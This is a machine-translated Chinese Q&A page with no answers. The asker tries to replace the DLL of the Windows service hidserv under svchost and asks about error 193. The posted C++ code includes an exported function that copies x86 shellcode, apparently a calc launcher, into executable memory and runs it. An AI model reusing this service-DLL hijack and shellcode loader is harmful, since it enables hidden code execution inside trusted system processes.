编写C ++服务dll并替换现有的

时间:2017-11-18 14:49:32

标签: c++ dll service windows-7

我想编写自己的dll并在svchost下运行它而不是现有的dll。 我写了一个应该运行的代码,但是当我启动服务时,我不断收到错误193:0xc1 - 它说它无法找到文件 - 但我把它放在" C:\ windows \ system32 \ mydll.dll&#34 ;并通过服务hidserv更改了指向该dll的注册表值。

那是我的代码:

#include <Windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <iostream>
#include "mydll.h"

#define DLL_EXPORT

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "kernel32.lib")

#define SVCNAME TEXT("hidserv")





extern "C"
{
    SERVICE_STATUS          gSvcStatus;
    SERVICE_STATUS_HANDLE   gSvcStatusHandle;
    HANDLE                  ghSvcStopEvent = NULL;

    VOID WINAPI SvcCtrlHandler(DWORD);
    DECLDIR VOID ServiceMain(DWORD, LPTSTR *);

    VOID ReportSvcStatus(DWORD, DWORD, DWORD);
    VOID SvcInit(DWORD, LPTSTR *);

    void __cdecl _tmain(int argc, TCHAR *argv[])
    {

        // TO_DO: Add any additional services for the process to this table.
        SERVICE_TABLE_ENTRY DispatchTable[] =
        {
            { SVCNAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain },
            { NULL, NULL }
        };

        // This call returns when the service has stopped. 
        // The process should simply terminate when the call returns.

        StartServiceCtrlDispatcher(DispatchTable);
    }

    //
    // Purpose: 
    //   Entry point for the service
    //
    // Parameters:
    //   dwArgc - Number of arguments in the lpszArgv array
    //   lpszArgv - Array of strings. The first string is the name of
    //     the service and subsequent strings are passed by the process
    //     that called the StartService function to start the service.
    // 
    // Return value:
    //   None.
    //
    DECLDIR VOID ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
    {
        // Register the handler function for the service

        gSvcStatusHandle = RegisterServiceCtrlHandler(
            SVCNAME,
            SvcCtrlHandler);

        if (!gSvcStatusHandle)
        {
            return;
        }

        // These SERVICE_STATUS members remain as set here

        gSvcStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
        gSvcStatus.dwServiceSpecificExitCode = 0;

        // Report initial status to the SCM

        ReportSvcStatus(SERVICE_START_PENDING, NO_ERROR, 3000);

        // Perform service-specific initialization and work.

        SvcInit(dwArgc, lpszArgv);
    }

    //
    // Purpose: 
    //   The service code
    //
    // Parameters:
    //   dwArgc - Number of arguments in the lpszArgv array
    //   lpszArgv - Array of strings. The first string is the name of
    //     the service and subsequent strings are passed by the process
    //     that called the StartService function to start the service.
    // 
    // Return value:
    //   None
    //
    VOID SvcInit(DWORD dwArgc, LPTSTR *lpszArgv)
    {
        // TO_DO: Declare and set any required variables.
        //   Be sure to periodically call ReportSvcStatus() with 
        //   SERVICE_START_PENDING. If initialization fails, call
        //   ReportSvcStatus with SERVICE_STOPPED.

        // Create an event. The control handler function, SvcCtrlHandler,
        // signals this event when it receives the stop control code.

        ghSvcStopEvent = CreateEvent(
            NULL,    // default security attributes
            TRUE,    // manual reset event
            FALSE,   // not signaled
            NULL);   // no name

        if (ghSvcStopEvent == NULL)
        {
            ReportSvcStatus(SERVICE_STOPPED, NO_ERROR, 0);
            return;
        }

        // Report running status when initialization is complete.

        ReportSvcStatus(SERVICE_RUNNING, NO_ERROR, 0);

        // TO_DO: Perform work until service stops.

        while (1)
        {
            // Check whether to stop the service.

            WaitForSingleObject(ghSvcStopEvent, INFINITE);

            ReportSvcStatus(SERVICE_STOPPED, NO_ERROR, 0);
            return;
        }
    }

    //
    // Purpose: 
    //   Sets the current service status and reports it to the SCM.
    //
    // Parameters:
    //   dwCurrentState - The current state (see SERVICE_STATUS)
    //   dwWin32ExitCode - The system error code
    //   dwWaitHint - Estimated time for pending operation, 
    //     in milliseconds
    // 
    // Return value:
    //   None
    //
    VOID ReportSvcStatus(DWORD dwCurrentState,
        DWORD dwWin32ExitCode,
        DWORD dwWaitHint)
    {
        static DWORD dwCheckPoint = 1;

        // Fill in the SERVICE_STATUS structure.

        gSvcStatus.dwCurrentState = dwCurrentState;
        gSvcStatus.dwWin32ExitCode = dwWin32ExitCode;
        gSvcStatus.dwWaitHint = dwWaitHint;

        if (dwCurrentState == SERVICE_START_PENDING)
            gSvcStatus.dwControlsAccepted = 0;
        else gSvcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

        if ((dwCurrentState == SERVICE_RUNNING) ||
            (dwCurrentState == SERVICE_STOPPED))
            gSvcStatus.dwCheckPoint = 0;
        else gSvcStatus.dwCheckPoint = dwCheckPoint++;

        // Report the status of the service to the SCM.
        SetServiceStatus(gSvcStatusHandle, &gSvcStatus);
    }

    //
    // Purpose: 
    //   Called by SCM whenever a control code is sent to the service
    //   using the ControlService function.
    //
    // Parameters:
    //   dwCtrl - control code
    // 
    // Return value:
    //   None
    //
    VOID WINAPI SvcCtrlHandler(DWORD dwCtrl)
    {
        // Handle the requested control code. 

        switch (dwCtrl)
        {
        case SERVICE_CONTROL_STOP:
            ReportSvcStatus(SERVICE_STOP_PENDING, NO_ERROR, 0);

            // Signal the service to stop.

            SetEvent(ghSvcStopEvent);
            ReportSvcStatus(gSvcStatus.dwCurrentState, NO_ERROR, 0);

            return;

        case SERVICE_CONTROL_INTERROGATE:
            break;

        default:
            break;
        }

    }






    BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
        )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "test", "test", NULL);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }

    DECLDIR void printMsg(void)
    {

        char* shellcode =
            "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
            "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
            "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
            "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
            "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
            "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
            "\x45\x81\x3e\x43\x72\x65\x61\x75"
            "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
            "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
            "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
            "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
            "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
            "\x6c\x63\x89\xe2\x52\x52\x53\x53"
            "\x53\x53\x53\x53\x52\x53\xff\xd7";

        printf("shellcode length: %i", strlen(shellcode));

        LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(lpAlloc, shellcode, strlen(shellcode));

        ((void(*)())lpAlloc)();
        return;
    }
}

那是我的标题:

#ifndef MYDLL_H
#define MYDLL_H
#include <iostream>

#if defined DLL_EXPORT
#define DECLDIR __declspec(dllexport)
#else
#define DECLDIR __declspec(dllexport)
#endif

extern "C"
{
    DECLDIR void printMsg(void);
    DECLDIR void ServiceMain(DWORD, LPTSTR *);

}

#endif
我在做错了什么? 顺便说一句,我在Windows 7 x64上运行它。

请回答我的问题 - 我无法理解!!

谢谢!

0 个答案:

没有答案